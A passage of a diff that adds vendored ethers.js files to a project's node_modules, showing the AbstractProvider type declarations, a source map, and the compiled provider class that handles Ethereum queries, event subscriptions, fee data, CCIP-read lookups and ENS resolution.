arguments and + * formatting output results as well as tracking events for consistent + * behaviour on an eventually-consistent network. + */ +export declare class AbstractProvider implements Provider { + #private; + /** + * Create a new **AbstractProvider** connected to %%network%%, or + * use the various network detection capabilities to discover the + * [[Network]] if necessary. + */ + constructor(_network?: "any" | Networkish, options?: AbstractProviderOptions); + get pollingInterval(): number; + /** + * Returns ``this``, to allow an **AbstractProvider** to implement + * the [[ContractRunner]] interface. + */ + get provider(): this; + /** + * Returns all the registered plug-ins. + */ + get plugins(): Array; + /** + * Attach a new plug-in. + */ + attachPlugin(plugin: AbstractProviderPlugin): this; + /** + * Get a plugin by name. + */ + getPlugin(name: string): null | T; + /** + * Prevent any CCIP-read operation, regardless of whether requested + * in a [[call]] using ``enableCcipRead``. + */ + get disableCcipRead(): boolean; + set disableCcipRead(value: boolean); + /** + * Resolves to the data for executing the CCIP-read operations. + */ + ccipReadFetch(tx: PerformActionTransaction, calldata: string, urls: Array): Promise; + /** + * Provides the opportunity for a sub-class to wrap a block before + * returning it, to add additional properties or an alternate + * sub-class of [[Block]]. + */ + _wrapBlock(value: BlockParams, network: Network): Block; + /** + * Provides the opportunity for a sub-class to wrap a log before + * returning it, to add additional properties or an alternate + * sub-class of [[Log]]. + */ + _wrapLog(value: LogParams, network: Network): Log; + /** + * Provides the opportunity for a sub-class to wrap a transaction + * receipt before returning it, to add additional properties or an + * alternate sub-class of [[TransactionReceipt]]. + */ + _wrapTransactionReceipt(value: TransactionReceiptParams, network: Network): TransactionReceipt; + /** + * Provides the opportunity for a sub-class to wrap a transaction + * response before returning it, to add additional properties or an + * alternate sub-class of [[TransactionResponse]]. + */ + _wrapTransactionResponse(tx: TransactionResponseParams, network: Network): TransactionResponse; + /** + * Resolves to the Network, forcing a network detection using whatever + * technique the sub-class requires. + * + * Sub-classes **must** override this. + */ + _detectNetwork(): Promise; + /** + * Sub-classes should use this to perform all built-in operations. All + * methods sanitizes and normalizes the values passed into this. + * + * Sub-classes **must** override this. + */ + _perform(req: PerformActionRequest): Promise; + getBlockNumber(): Promise; + /** + * Returns or resolves to the address for %%address%%, resolving ENS + * names and [[Addressable]] objects and returning if already an + * address. + */ + _getAddress(address: AddressLike): string | Promise; + /** + * Returns or resolves to a valid block tag for %%blockTag%%, resolving + * negative values and returning if already a valid block tag. + */ + _getBlockTag(blockTag?: BlockTag): string | Promise; + /** + * Returns or resolves to a filter for %%filter%%, resolving any ENS + * names or [[Addressable]] object and returning if already a valid + * filter. + */ + _getFilter(filter: Filter | FilterByBlockHash): PerformActionFilter | Promise; + /** + * Returns or resolves to a transaction for %%request%%, resolving + * any ENS names or [[Addressable]] and returning if already a valid + * transaction. + */ + _getTransactionRequest(_request: TransactionRequest): PerformActionTransaction | Promise; + getNetwork(): Promise; + getFeeData(): Promise; + estimateGas(_tx: TransactionRequest): Promise; + call(_tx: TransactionRequest): Promise; + getBalance(address: AddressLike, blockTag?: BlockTag): Promise; + getTransactionCount(address: AddressLike, blockTag?: BlockTag): Promise; + getCode(address: AddressLike, blockTag?: BlockTag): Promise; + getStorage(address: AddressLike, _position: BigNumberish, blockTag?: BlockTag): Promise; + broadcastTransaction(signedTx: string): Promise; + getBlock(block: BlockTag | string, prefetchTxs?: boolean): Promise; + getTransaction(hash: string): Promise; + getTransactionReceipt(hash: string): Promise; + getTransactionResult(hash: string): Promise; + getLogs(_filter: Filter | FilterByBlockHash): Promise>; + _getProvider(chainId: number): AbstractProvider; + getResolver(name: string): Promise; + getAvatar(name: string): Promise; + resolveName(name: string): Promise; + lookupAddress(address: string): Promise; + waitForTransaction(hash: string, _confirms?: null | number, timeout?: null | number): Promise; + waitForBlock(blockTag?: BlockTag): Promise; + /** + * Clear a timer created using the [[_setTimeout]] method. + */ + _clearTimeout(timerId: number): void; + /** + * Create a timer that will execute %%func%% after at least %%timeout%% + * (in ms). If %%timeout%% is unspecified, then %%func%% will execute + * in the next event loop. + * + * [Pausing](AbstractProvider-paused) the provider will pause any + * associated timers. + */ + _setTimeout(_func: () => void, timeout?: number): number; + /** + * Perform %%func%% on each subscriber. + */ + _forEachSubscriber(func: (s: Subscriber) => void): void; + /** + * Sub-classes may override this to customize subscription + * implementations. + */ + _getSubscriber(sub: Subscription): Subscriber; + /** + * If a [[Subscriber]] fails and needs to replace itself, this + * method may be used. + * + * For example, this is used for providers when using the + * ``eth_getFilterChanges`` method, which can return null if state + * filters are not supported by the backend, allowing the Subscriber + * to swap in a [[PollingEventSubscriber]]. + */ + _recoverSubscriber(oldSub: Subscriber, newSub: Subscriber): void; + on(event: ProviderEvent, listener: Listener): Promise; + once(event: ProviderEvent, listener: Listener): Promise; + emit(event: ProviderEvent, ...args: Array): Promise; + listenerCount(event?: ProviderEvent): Promise; + listeners(event?: ProviderEvent): Promise>; + off(event: ProviderEvent, listener?: Listener): Promise; + removeAllListeners(event?: ProviderEvent): Promise; + addListener(event: ProviderEvent, listener: Listener): Promise; + removeListener(event: ProviderEvent, listener: Listener): Promise; + /** + * If this provider has been destroyed using the [[destroy]] method. + * + * Once destroyed, all resources are reclaimed, internal event loops + * and timers are cleaned up and no further requests may be sent to + * the provider. + */ + get destroyed(): boolean; + /** + * Sub-classes may use this to shutdown any sockets or release their + * resources and reject any pending requests. + * + * Sub-classes **must** call ``super.destroy()``. + */ + destroy(): void; + /** + * Whether the provider is currently paused. + * + * A paused provider will not emit any events, and generally should + * not make any requests to the network, but that is up to sub-classes + * to manage. + * + * Setting ``paused = true`` is identical to calling ``.pause(false)``, + * which will buffer any events that occur while paused until the + * provider is unpaused. + */ + get paused(): boolean; + set paused(pause: boolean); + /** + * Pause the provider. If %%dropWhilePaused%%, any events that occur + * while paused are dropped, otherwise all events will be emitted once + * the provider is unpaused. + */ + pause(dropWhilePaused?: boolean): void; + /** + * Resume the provider. + */ + resume(): void; +} +//# sourceMappingURL=abstract-provider.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/abstract-provider.d.ts.map b/node_modules/ethers/lib.commonjs/providers/abstract-provider.d.ts.map new file mode 100644 index 000000000000..740581dc992c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/abstract-provider.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"abstract-provider.d.ts","sourceRoot":"","sources":["../../src.ts/providers/abstract-provider.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAeH,OAAO,E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CAAC,IAAI,CAAC;IAI7E;;;;;;OAMG;IACH,IAAI,SAAS,IAAI,OAAO,CAEvB;IAED;;;;;OAKG;IACH,OAAO,IAAI,IAAI;IAYf;;;;;;;;;;OAUG;IACH,IAAI,MAAM,IAAI,OAAO,CAAwC;IAC7D,IAAI,MAAM,CAAC,KAAK,EAAE,OAAO,EAQxB;IAED;;;;OAIG;IACH,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAsBtC;;OAEG;IACH,MAAM,IAAI,IAAI;CAiBjB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/abstract-provider.js b/node_modules/ethers/lib.commonjs/providers/abstract-provider.js new file mode 100644 index 000000000000..9a53a48bb9c2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/abstract-provider.js @@ -0,0 +1,1409 @@ +"use strict"; +/** + * The available providers should suffice for most developers purposes, + * but the [[AbstractProvider]] class has many features which enable + * sub-classing it for specific purposes. + * + * @_section: api/providers/abstract-provider: Subclassing Provider [abstract-provider] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.AbstractProvider = exports.UnmanagedSubscriber = void 0; +// @TODO +// Event coalescence +// When we register an event with an async value (e.g. address is a Signer +// or ENS name), we need to add it immeidately for the Event API, but also +// need time to resolve the address. Upon resolving the address, we need to +// migrate the listener to the static event. We also need to maintain a map +// of Signer/ENS name to address so we can sync respond to listenerCount. +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../constants/index.js"); +const index_js_3 = require("../contract/index.js"); +const index_js_4 = require("../hash/index.js"); +const index_js_5 = require("../transaction/index.js"); +const index_js_6 = require("../utils/index.js"); +const ens_resolver_js_1 = require("./ens-resolver.js"); +const format_js_1 = require("./format.js"); +const network_js_1 = require("./network.js"); +const provider_js_1 = require("./provider.js"); +const subscriber_polling_js_1 = require("./subscriber-polling.js"); +// Constants +const BN_2 = BigInt(2); +const MAX_CCIP_REDIRECTS = 10; +function isPromise(value) { + return (value && typeof (value.then) === "function"); +} +function getTag(prefix, value) { + return prefix + ":" + JSON.stringify(value, (k, v) => { + if (v == null) { + return "null"; + } + if (typeof (v) === "bigint") { + return `bigint:${v.toString()}`; + } + if (typeof (v) === "string") { + return v.toLowerCase(); + } + // Sort object keys + if (typeof (v) === "object" && !Array.isArray(v)) { + const keys = Object.keys(v); + keys.sort(); + return keys.reduce((accum, key) => { + accum[key] = v[key]; + return accum; + }, {}); + } + return v; + }); +} +/** + * An **UnmanagedSubscriber** is useful for events which do not require + * any additional management, such as ``"debug"`` which only requires + * emit in synchronous event loop triggered calls. + */ +class UnmanagedSubscriber { + /** + * The name fof the event. + */ + name; + /** + * Create a new UnmanagedSubscriber with %%name%%. + */ + constructor(name) { (0, index_js_6.defineProperties)(this, { name }); } + start() { } + stop() { } + pause(dropWhilePaused) { } + resume() { } +} +exports.UnmanagedSubscriber = UnmanagedSubscriber; +function copy(value) { + return JSON.parse(JSON.stringify(value)); +} +function concisify(items) { + items = Array.from((new Set(items)).values()); + items.sort(); + return items; +} +async function getSubscription(_event, provider) { + if (_event == null) { + throw new Error("invalid event"); + } + // Normalize topic array info an EventFilter + if (Array.isArray(_event)) { + _event = { topics: _event }; + } + if (typeof (_event) === "string") { + switch (_event) { + case "block": + case "debug": + case "error": + case "finalized": + case "network": + case "pending": + case "safe": { + return { type: _event, tag: _event }; + } + } + } + if ((0, index_js_6.isHexString)(_event, 32)) { + const hash = _event.toLowerCase(); + return { type: "transaction", tag: getTag("tx", { hash }), hash }; + } + if (_event.orphan) { + const event = _event; + // @TODO: Should lowercase and whatnot things here instead of copy... + return { type: "orphan", tag: getTag("orphan", event), filter: copy(event) }; + } + if ((_event.address || _event.topics)) { + const event = _event; + const filter = { + topics: ((event.topics || []).map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + return concisify(t.map((t) => t.toLowerCase())); + } + return t.toLowerCase(); + })) + }; + if (event.address) { + const addresses = []; + const promises = []; + const addAddress = (addr) => { + if ((0, index_js_6.isHexString)(addr)) { + addresses.push(addr); + } + else { + promises.push((async () => { + addresses.push(await (0, index_js_1.resolveAddress)(addr, provider)); + })()); + } + }; + if (Array.isArray(event.address)) { + event.address.forEach(addAddress); + } + else { + addAddress(event.address); + } + if (promises.length) { + await Promise.all(promises); + } + filter.address = concisify(addresses.map((a) => a.toLowerCase())); + } + return { filter, tag: getTag("event", filter), type: "event" }; + } + (0, index_js_6.assertArgument)(false, "unknown ProviderEvent", "event", _event); +} +function getTime() { return (new Date()).getTime(); } +const defaultOptions = { + cacheTimeout: 250, + pollingInterval: 4000 +}; +/** + * An **AbstractProvider** provides a base class for other sub-classes to + * implement the [[Provider]] API by normalizing input arguments and + * formatting output results as well as tracking events for consistent + * behaviour on an eventually-consistent network. + */ +class AbstractProvider { + #subs; + #plugins; + // null=unpaused, true=paused+dropWhilePaused, false=paused + #pausedState; + #destroyed; + #networkPromise; + #anyNetwork; + #performCache; + // The most recent block number if running an event or -1 if no "block" event + #lastBlockNumber; + #nextTimer; + #timers; + #disableCcipRead; + #options; + /** + * Create a new **AbstractProvider** connected to %%network%%, or + * use the various network detection capabilities to discover the + * [[Network]] if necessary. + */ + constructor(_network, options) { + this.#options = Object.assign({}, defaultOptions, options || {}); + if (_network === "any") { + this.#anyNetwork = true; + this.#networkPromise = null; + } + else if (_network) { + const network = network_js_1.Network.from(_network); + this.#anyNetwork = false; + this.#networkPromise = Promise.resolve(network); + setTimeout(() => { this.emit("network", network, null); }, 0); + } + else { + this.#anyNetwork = false; + this.#networkPromise = null; + } + this.#lastBlockNumber = -1; + this.#performCache = new Map(); + this.#subs = new Map(); + this.#plugins = new Map(); + this.#pausedState = null; + this.#destroyed = false; + this.#nextTimer = 1; + this.#timers = new Map(); + this.#disableCcipRead = false; + } + get pollingInterval() { return this.#options.pollingInterval; } + /** + * Returns ``this``, to allow an **AbstractProvider** to implement + * the [[ContractRunner]] interface. + */ + get provider() { return this; } + /** + * Returns all the registered plug-ins. + */ + get plugins() { + return Array.from(this.#plugins.values()); + } + /** + * Attach a new plug-in. + */ + attachPlugin(plugin) { + if (this.#plugins.get(plugin.name)) { + throw new Error(`cannot replace existing plugin: ${plugin.name} `); + } + this.#plugins.set(plugin.name, plugin.connect(this)); + return this; + } + /** + * Get a plugin by name. + */ + getPlugin(name) { + return (this.#plugins.get(name)) || null; + } + /** + * Prevent any CCIP-read operation, regardless of whether requested + * in a [[call]] using ``enableCcipRead``. + */ + get disableCcipRead() { return this.#disableCcipRead; } + set disableCcipRead(value) { this.#disableCcipRead = !!value; } + // Shares multiple identical requests made during the same 250ms + async #perform(req) { + const timeout = this.#options.cacheTimeout; + // Caching disabled + if (timeout < 0) { + return await this._perform(req); + } + // Create a tag + const tag = getTag(req.method, req); + let perform = this.#performCache.get(tag); + if (!perform) { + perform = this._perform(req); + this.#performCache.set(tag, perform); + setTimeout(() => { + if (this.#performCache.get(tag) === perform) { + this.#performCache.delete(tag); + } + }, timeout); + } + return await perform; + } + /** + * Resolves to the data for executing the CCIP-read operations. + */ + async ccipReadFetch(tx, calldata, urls) { + if (this.disableCcipRead || urls.length === 0 || tx.to == null) { + return null; + } + const sender = tx.to.toLowerCase(); + const data = calldata.toLowerCase(); + const errorMessages = []; + for (let i = 0; i < urls.length; i++) { + const url = urls[i]; + // URL expansion + const href = url.replace("{sender}", sender).replace("{data}", data); + // If no {data} is present, use POST; otherwise GET + //const json: string | null = (url.indexOf("{data}") >= 0) ? null: JSON.stringify({ data, sender }); + //const result = await fetchJson({ url: href, errorPassThrough: true }, json, (value, response) => { + // value.status = response.statusCode; + // return value; + //}); + const request = new index_js_6.FetchRequest(href); + if (url.indexOf("{data}") === -1) { + request.body = { data, sender }; + } + this.emit("debug", { action: "sendCcipReadFetchRequest", request, index: i, urls }); + let errorMessage = "unknown error"; + // Fetch the resource... + let resp; + try { + resp = await request.send(); + } + catch (error) { + // ...low-level fetch error (missing host, bad SSL, etc.), + // so try next URL + errorMessages.push(error.message); + this.emit("debug", { action: "receiveCcipReadFetchError", request, result: { error } }); + continue; + } + try { + const result = resp.bodyJson; + if (result.data) { + this.emit("debug", { action: "receiveCcipReadFetchResult", request, result }); + return result.data; + } + if (result.message) { + errorMessage = result.message; + } + this.emit("debug", { action: "receiveCcipReadFetchError", request, result }); + } + catch (error) { } + // 4xx indicates the result is not present; stop + (0, index_js_6.assert)(resp.statusCode < 400 || resp.statusCode >= 500, `response not found during CCIP fetch: ${errorMessage}`, "OFFCHAIN_FAULT", { reason: "404_MISSING_RESOURCE", transaction: tx, info: { url, errorMessage } }); + // 5xx indicates server issue; try the next url + errorMessages.push(errorMessage); + } + (0, index_js_6.assert)(false, `error encountered during CCIP fetch: ${errorMessages.map((m) => JSON.stringify(m)).join(", ")}`, "OFFCHAIN_FAULT", { + reason: "500_SERVER_ERROR", + transaction: tx, info: { urls, errorMessages } + }); + } + /** + * Provides the opportunity for a sub-class to wrap a block before + * returning it, to add additional properties or an alternate + * sub-class of [[Block]]. + */ + _wrapBlock(value, network) { + return new provider_js_1.Block((0, format_js_1.formatBlock)(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a log before + * returning it, to add additional properties or an alternate + * sub-class of [[Log]]. + */ + _wrapLog(value, network) { + return new provider_js_1.Log((0, format_js_1.formatLog)(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a transaction + * receipt before returning it, to add additional properties or an + * alternate sub-class of [[TransactionReceipt]]. + */ + _wrapTransactionReceipt(value, network) { + return new provider_js_1.TransactionReceipt((0, format_js_1.formatTransactionReceipt)(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a transaction + * response before returning it, to add additional properties or an + * alternate sub-class of [[TransactionResponse]]. + */ + _wrapTransactionResponse(tx, network) { + return new provider_js_1.TransactionResponse((0, format_js_1.formatTransactionResponse)(tx), this); + } + /** + * Resolves to the Network, forcing a network detection using whatever + * technique the sub-class requires. + * + * Sub-classes **must** override this. + */ + _detectNetwork() { + (0, index_js_6.assert)(false, "sub-classes must implement this", "UNSUPPORTED_OPERATION", { + operation: "_detectNetwork" + }); + } + /** + * Sub-classes should use this to perform all built-in operations. All + * methods sanitizes and normalizes the values passed into this. + * + * Sub-classes **must** override this. + */ + async _perform(req) { + (0, index_js_6.assert)(false, `unsupported method: ${req.method}`, "UNSUPPORTED_OPERATION", { + operation: req.method, + info: req + }); + } + // State + async getBlockNumber() { + const blockNumber = (0, index_js_6.getNumber)(await this.#perform({ method: "getBlockNumber" }), "%response"); + if (this.#lastBlockNumber >= 0) { + this.#lastBlockNumber = blockNumber; + } + return blockNumber; + } + /** + * Returns or resolves to the address for %%address%%, resolving ENS + * names and [[Addressable]] objects and returning if already an + * address. + */ + _getAddress(address) { + return (0, index_js_1.resolveAddress)(address, this); + } + /** + * Returns or resolves to a valid block tag for %%blockTag%%, resolving + * negative values and returning if already a valid block tag. + */ + _getBlockTag(blockTag) { + if (blockTag == null) { + return "latest"; + } + switch (blockTag) { + case "earliest": + return "0x0"; + case "finalized": + case "latest": + case "pending": + case "safe": + return blockTag; + } + if ((0, index_js_6.isHexString)(blockTag)) { + if ((0, index_js_6.isHexString)(blockTag, 32)) { + return blockTag; + } + return (0, index_js_6.toQuantity)(blockTag); + } + if (typeof (blockTag) === "bigint") { + blockTag = (0, index_js_6.getNumber)(blockTag, "blockTag"); + } + if (typeof (blockTag) === "number") { + if (blockTag >= 0) { + return (0, index_js_6.toQuantity)(blockTag); + } + if (this.#lastBlockNumber >= 0) { + return (0, index_js_6.toQuantity)(this.#lastBlockNumber + blockTag); + } + return this.getBlockNumber().then((b) => (0, index_js_6.toQuantity)(b + blockTag)); + } + (0, index_js_6.assertArgument)(false, "invalid blockTag", "blockTag", blockTag); + } + /** + * Returns or resolves to a filter for %%filter%%, resolving any ENS + * names or [[Addressable]] object and returning if already a valid + * filter. + */ + _getFilter(filter) { + // Create a canonical representation of the topics + const topics = (filter.topics || []).map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + return concisify(t.map((t) => t.toLowerCase())); + } + return t.toLowerCase(); + }); + const blockHash = ("blockHash" in filter) ? filter.blockHash : undefined; + const resolve = (_address, fromBlock, toBlock) => { + let address = undefined; + switch (_address.length) { + case 0: break; + case 1: + address = _address[0]; + break; + default: + _address.sort(); + address = _address; + } + if (blockHash) { + if (fromBlock != null || toBlock != null) { + throw new Error("invalid filter"); + } + } + const filter = {}; + if (address) { + filter.address = address; + } + if (topics.length) { + filter.topics = topics; + } + if (fromBlock) { + filter.fromBlock = fromBlock; + } + if (toBlock) { + filter.toBlock = toBlock; + } + if (blockHash) { + filter.blockHash = blockHash; + } + return filter; + }; + // Addresses could be async (ENS names or Addressables) + let address = []; + if (filter.address) { + if (Array.isArray(filter.address)) { + for (const addr of filter.address) { + address.push(this._getAddress(addr)); + } + } + else { + address.push(this._getAddress(filter.address)); + } + } + let fromBlock = undefined; + if ("fromBlock" in filter) { + fromBlock = this._getBlockTag(filter.fromBlock); + } + let toBlock = undefined; + if ("toBlock" in filter) { + toBlock = this._getBlockTag(filter.toBlock); + } + if (address.filter((a) => (typeof (a) !== "string")).length || + (fromBlock != null && typeof (fromBlock) !== "string") || + (toBlock != null && typeof (toBlock) !== "string")) { + return Promise.all([Promise.all(address), fromBlock, toBlock]).then((result) => { + return resolve(result[0], result[1], result[2]); + }); + } + return resolve(address, fromBlock, toBlock); + } + /** + * Returns or resolves to a transaction for %%request%%, resolving + * any ENS names or [[Addressable]] and returning if already a valid + * transaction. + */ + _getTransactionRequest(_request) { + const request = (0, provider_js_1.copyRequest)(_request); + const promises = []; + ["to", "from"].forEach((key) => { + if (request[key] == null) { + return; + } + const addr = (0, index_js_1.resolveAddress)(request[key], this); + if (isPromise(addr)) { + promises.push((async function () { request[key] = await addr; })()); + } + else { + request[key] = addr; + } + }); + if (request.blockTag != null) { + const blockTag = this._getBlockTag(request.blockTag); + if (isPromise(blockTag)) { + promises.push((async function () { request.blockTag = await blockTag; })()); + } + else { + request.blockTag = blockTag; + } + } + if (promises.length) { + return (async function () { + await Promise.all(promises); + return request; + })(); + } + return request; + } + async getNetwork() { + // No explicit network was set and this is our first time + if (this.#networkPromise == null) { + // Detect the current network (shared with all calls) + const detectNetwork = (async () => { + try { + const network = await this._detectNetwork(); + this.emit("network", network, null); + return network; + } + catch (error) { + if (this.#networkPromise === detectNetwork) { + this.#networkPromise = null; + } + throw error; + } + })(); + this.#networkPromise = detectNetwork; + return (await detectNetwork).clone(); + } + const networkPromise = this.#networkPromise; + const [expected, actual] = await Promise.all([ + networkPromise, + this._detectNetwork() // The actual connected network + ]); + if (expected.chainId !== actual.chainId) { + if (this.#anyNetwork) { + // The "any" network can change, so notify listeners + this.emit("network", actual, expected); + // Update the network if something else hasn't already changed it + if (this.#networkPromise === networkPromise) { + this.#networkPromise = Promise.resolve(actual); + } + } + else { + // Otherwise, we do not allow changes to the underlying network + (0, index_js_6.assert)(false, `network changed: ${expected.chainId} => ${actual.chainId} `, "NETWORK_ERROR", { + event: "changed" + }); + } + } + return expected.clone(); + } + async getFeeData() { + const network = await this.getNetwork(); + const getFeeDataFunc = async () => { + const { _block, gasPrice, priorityFee } = await (0, index_js_6.resolveProperties)({ + _block: this.#getBlock("latest", false), + gasPrice: ((async () => { + try { + const value = await this.#perform({ method: "getGasPrice" }); + return (0, index_js_6.getBigInt)(value, "%response"); + } + catch (error) { } + return null; + })()), + priorityFee: ((async () => { + try { + const value = await this.#perform({ method: "getPriorityFee" }); + return (0, index_js_6.getBigInt)(value, "%response"); + } + catch (error) { } + return null; + })()) + }); + let maxFeePerGas = null; + let maxPriorityFeePerGas = null; + // These are the recommended EIP-1559 heuristics for fee data + const block = this._wrapBlock(_block, network); + if (block && block.baseFeePerGas) { + maxPriorityFeePerGas = (priorityFee != null) ? priorityFee : BigInt("1000000000"); + maxFeePerGas = (block.baseFeePerGas * BN_2) + maxPriorityFeePerGas; + } + return new provider_js_1.FeeData(gasPrice, maxFeePerGas, maxPriorityFeePerGas); + }; + // Check for a FeeDataNetWorkPlugin + const plugin = network.getPlugin("org.ethers.plugins.network.FetchUrlFeeDataPlugin"); + if (plugin) { + const req = new index_js_6.FetchRequest(plugin.url); + const feeData = await plugin.processFunc(getFeeDataFunc, this, req); + return new provider_js_1.FeeData(feeData.gasPrice, feeData.maxFeePerGas, feeData.maxPriorityFeePerGas); + } + return await getFeeDataFunc(); + } + async estimateGas(_tx) { + let tx = this._getTransactionRequest(_tx); + if (isPromise(tx)) { + tx = await tx; + } + return (0, index_js_6.getBigInt)(await this.#perform({ + method: "estimateGas", transaction: tx + }), "%response"); + } + async #call(tx, blockTag, attempt) { + (0, index_js_6.assert)(attempt < MAX_CCIP_REDIRECTS, "CCIP read exceeded maximum redirections", "OFFCHAIN_FAULT", { + reason: "TOO_MANY_REDIRECTS", + transaction: Object.assign({}, tx, { blockTag, enableCcipRead: true }) + }); + // This came in as a PerformActionTransaction, so to/from are safe; we can cast + const transaction = (0, provider_js_1.copyRequest)(tx); + try { + return (0, index_js_6.hexlify)(await this._perform({ method: "call", transaction, blockTag })); + } + catch (error) { + // CCIP Read OffchainLookup + if (!this.disableCcipRead && (0, index_js_6.isCallException)(error) && error.data && attempt >= 0 && blockTag === "latest" && transaction.to != null && (0, index_js_6.dataSlice)(error.data, 0, 4) === "0x556f1830") { + const data = error.data; + const txSender = await (0, index_js_1.resolveAddress)(transaction.to, this); + // Parse the CCIP Read Arguments + let ccipArgs; + try { + ccipArgs = parseOffchainLookup((0, index_js_6.dataSlice)(error.data, 4)); + } + catch (error) { + (0, index_js_6.assert)(false, error.message, "OFFCHAIN_FAULT", { + reason: "BAD_DATA", transaction, info: { data } + }); + } + // Check the sender of the OffchainLookup matches the transaction + (0, index_js_6.assert)(ccipArgs.sender.toLowerCase() === txSender.toLowerCase(), "CCIP Read sender mismatch", "CALL_EXCEPTION", { + action: "call", + data, + reason: "OffchainLookup", + transaction: transaction, + invocation: null, + revert: { + signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", + name: "OffchainLookup", + args: ccipArgs.errorArgs + } + }); + const ccipResult = await this.ccipReadFetch(transaction, ccipArgs.calldata, ccipArgs.urls); + (0, index_js_6.assert)(ccipResult != null, "CCIP Read failed to fetch data", "OFFCHAIN_FAULT", { + reason: "FETCH_FAILED", transaction, info: { data: error.data, errorArgs: ccipArgs.errorArgs } + }); + const tx = { + to: txSender, + data: (0, index_js_6.concat)([ccipArgs.selector, encodeBytes([ccipResult, ccipArgs.extraData])]) + }; + this.emit("debug", { action: "sendCcipReadCall", transaction: tx }); + try { + const result = await this.#call(tx, blockTag, attempt + 1); + this.emit("debug", { action: "receiveCcipReadCallResult", transaction: Object.assign({}, tx), result }); + return result; + } + catch (error) { + this.emit("debug", { action: "receiveCcipReadCallError", transaction: Object.assign({}, tx), error }); + throw error; + } + } + throw error; + } + } + async #checkNetwork(promise) { + const { value } = await (0, index_js_6.resolveProperties)({ + network: this.getNetwork(), + value: promise + }); + return value; + } + async call(_tx) { + const { tx, blockTag } = await (0, index_js_6.resolveProperties)({ + tx: this._getTransactionRequest(_tx), + blockTag: this._getBlockTag(_tx.blockTag) + }); + return await this.#checkNetwork(this.#call(tx, blockTag, _tx.enableCcipRead ? 0 : -1)); + } + // Account + async #getAccountValue(request, _address, _blockTag) { + let address = this._getAddress(_address); + let blockTag = this._getBlockTag(_blockTag); + if (typeof (address) !== "string" || typeof (blockTag) !== "string") { + [address, blockTag] = await Promise.all([address, blockTag]); + } + return await this.#checkNetwork(this.#perform(Object.assign(request, { address, blockTag }))); + } + async getBalance(address, blockTag) { + return (0, index_js_6.getBigInt)(await this.#getAccountValue({ method: "getBalance" }, address, blockTag), "%response"); + } + async getTransactionCount(address, blockTag) { + return (0, index_js_6.getNumber)(await this.#getAccountValue({ method: "getTransactionCount" }, address, blockTag), "%response"); + } + async getCode(address, blockTag) { + return (0, index_js_6.hexlify)(await this.#getAccountValue({ method: "getCode" }, address, blockTag)); + } + async getStorage(address, _position, blockTag) { + const position = (0, index_js_6.getBigInt)(_position, "position"); + return (0, index_js_6.hexlify)(await this.#getAccountValue({ method: "getStorage", position }, address, blockTag)); + } + // Write + async broadcastTransaction(signedTx) { + const { blockNumber, hash, network } = await (0, index_js_6.resolveProperties)({ + blockNumber: this.getBlockNumber(), + hash: this._perform({ + method: "broadcastTransaction", + signedTransaction: signedTx + }), + network: this.getNetwork() + }); + const tx = index_js_5.Transaction.from(signedTx); + if (tx.hash !== hash) { + throw new Error("@TODO: the returned hash did not match"); + } + return this._wrapTransactionResponse(tx, network).replaceableTransaction(blockNumber); + } + async #getBlock(block, includeTransactions) { + // @TODO: Add CustomBlockPlugin check + if ((0, index_js_6.isHexString)(block, 32)) { + return await this.#perform({ + method: "getBlock", blockHash: block, includeTransactions + }); + } + let blockTag = this._getBlockTag(block); + if (typeof (blockTag) !== "string") { + blockTag = await blockTag; + } + return await this.#perform({ + method: "getBlock", blockTag, includeTransactions + }); + } + // Queries + async getBlock(block, prefetchTxs) { + const { network, params } = await (0, index_js_6.resolveProperties)({ + network: this.getNetwork(), + params: this.#getBlock(block, !!prefetchTxs) + }); + if (params == null) { + return null; + } + return this._wrapBlock(params, network); + } + async getTransaction(hash) { + const { network, params } = await (0, index_js_6.resolveProperties)({ + network: this.getNetwork(), + params: this.#perform({ method: "getTransaction", hash }) + }); + if (params == null) { + return null; + } + return this._wrapTransactionResponse(params, network); + } + async getTransactionReceipt(hash) { + const { network, params } = await (0, index_js_6.resolveProperties)({ + network: this.getNetwork(), + params: this.#perform({ method: "getTransactionReceipt", hash }) + }); + if (params == null) { + return null; + } + // Some backends did not backfill the effectiveGasPrice into old transactions + // in the receipt, so we look it up manually and inject it. + if (params.gasPrice == null && params.effectiveGasPrice == null) { + const tx = await this.#perform({ method: "getTransaction", hash }); + if (tx == null) { + throw new Error("report this; could not find tx or effectiveGasPrice"); + } + params.effectiveGasPrice = tx.gasPrice; + } + return this._wrapTransactionReceipt(params, network); + } + async getTransactionResult(hash) { + const { result } = await (0, index_js_6.resolveProperties)({ + network: this.getNetwork(), + result: this.#perform({ method: "getTransactionResult", hash }) + }); + if (result == null) { + return null; + } + return (0, index_js_6.hexlify)(result); + } + // Bloom-filter Queries + async getLogs(_filter) { + let filter = this._getFilter(_filter); + if (isPromise(filter)) { + filter = await filter; + } + const { network, params } = await (0, index_js_6.resolveProperties)({ + network: this.getNetwork(), + params: this.#perform({ method: "getLogs", filter }) + }); + return params.map((p) => this._wrapLog(p, network)); + } + // ENS + _getProvider(chainId) { + (0, index_js_6.assert)(false, "provider cannot connect to target network", "UNSUPPORTED_OPERATION", { + operation: "_getProvider()" + }); + } + async getResolver(name) { + return await ens_resolver_js_1.EnsResolver.fromName(this, name); + } + async getAvatar(name) { + const resolver = await this.getResolver(name); + if (resolver) { + return await resolver.getAvatar(); + } + return null; + } + async resolveName(name) { + const resolver = await this.getResolver(name); + if (resolver) { + return await resolver.getAddress(); + } + return null; + } + async lookupAddress(address) { + address = (0, index_js_1.getAddress)(address); + const node = (0, index_js_4.namehash)(address.substring(2).toLowerCase() + ".addr.reverse"); + try { + const ensAddr = await ens_resolver_js_1.EnsResolver.getEnsAddress(this); + const ensContract = new index_js_3.Contract(ensAddr, [ + "function 